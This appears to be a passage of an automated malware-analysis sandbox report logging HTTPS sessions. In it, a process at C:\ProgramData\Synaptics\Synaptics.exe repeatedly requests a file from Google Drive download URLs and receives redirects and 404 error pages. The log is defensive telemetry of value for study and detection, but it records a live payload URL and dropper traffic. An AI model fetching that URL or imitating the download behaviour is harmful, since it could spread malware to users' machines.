2024-12-30 03:59:21 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6e 47 30 30 6a 6d 54 2d 68 36 73 45 32 67 73 2d 44 45 63 39 35 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="nG00jmT-h6sE2gs-DEc95A">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 03:59:21 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49822	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:21 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49824	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:21 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49821	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:21 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49825	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:22 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:22 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7NrePA23nqr-8VPuk6xdVxqE0KvVtHdWOjxKsVlOH960v7IzzLABjXhCMmaoOehB39 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:22 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-nWhDCUM-AT6CAjgiwygedw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:22 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 03:59:22 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4a 61 5a 34 63 50 72 34 50 4b 45 4b 43 6f 48 4c 33 6b 6f 61 4b 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="JaZ4cPr4PKEKCoHL3koaKw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 03:59:22 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49827	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:22 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ
2024-12-30 03:59:23 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:23 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-09Vv-xMslZ4cEXMYBE9FzA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49826	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:22 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ
2024-12-30 03:59:23 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:23 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-v53Fe4yPNSDxoeTvbbaXqQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49832	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:23 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ
2024-12-30 03:59:24 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:24 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-SBeNGRTz8h7SEXg1F1n3vg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49833	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:23 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:24 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7_3KorrprvN0ITSvJTREZ9_I7H0v2rbI2RiSyJfPNvJPmZA0nkXnfu0kUR0yIW-pzL Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:24 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-hOMixjnidXGtbZf0VuXjjw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:24 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 03:59:24 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 74 41 4b 74 4a 4f 35 4b 6d 6f 2d 69 4e 69 4b 70 79 41 4b 64 66 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="tAKtJO5Kmo-iNiKpyAKdfg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 03:59:24 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49830	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:23 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:24 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5KZgvyVJBcXjzp-d0nimYBH1x6KvptOFlwHqy9lBnJq8Hpz17cZAs9ZnjlEXEsHnTJ Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:24 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-_5AldXTFMO78Tgwb3_UBqg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:24 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 03:59:24 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6d 76 6b 51 41 51 33 62 46 59 32 55 36 57 73 61 61 76 4e 46 44 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="mvkQAQ3bFY2U6WsaavNFDg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 03:59:24 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49831	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:23 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ
2024-12-30 03:59:24 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:24 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-ngCiOefxyJpzJcpYasGWFw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
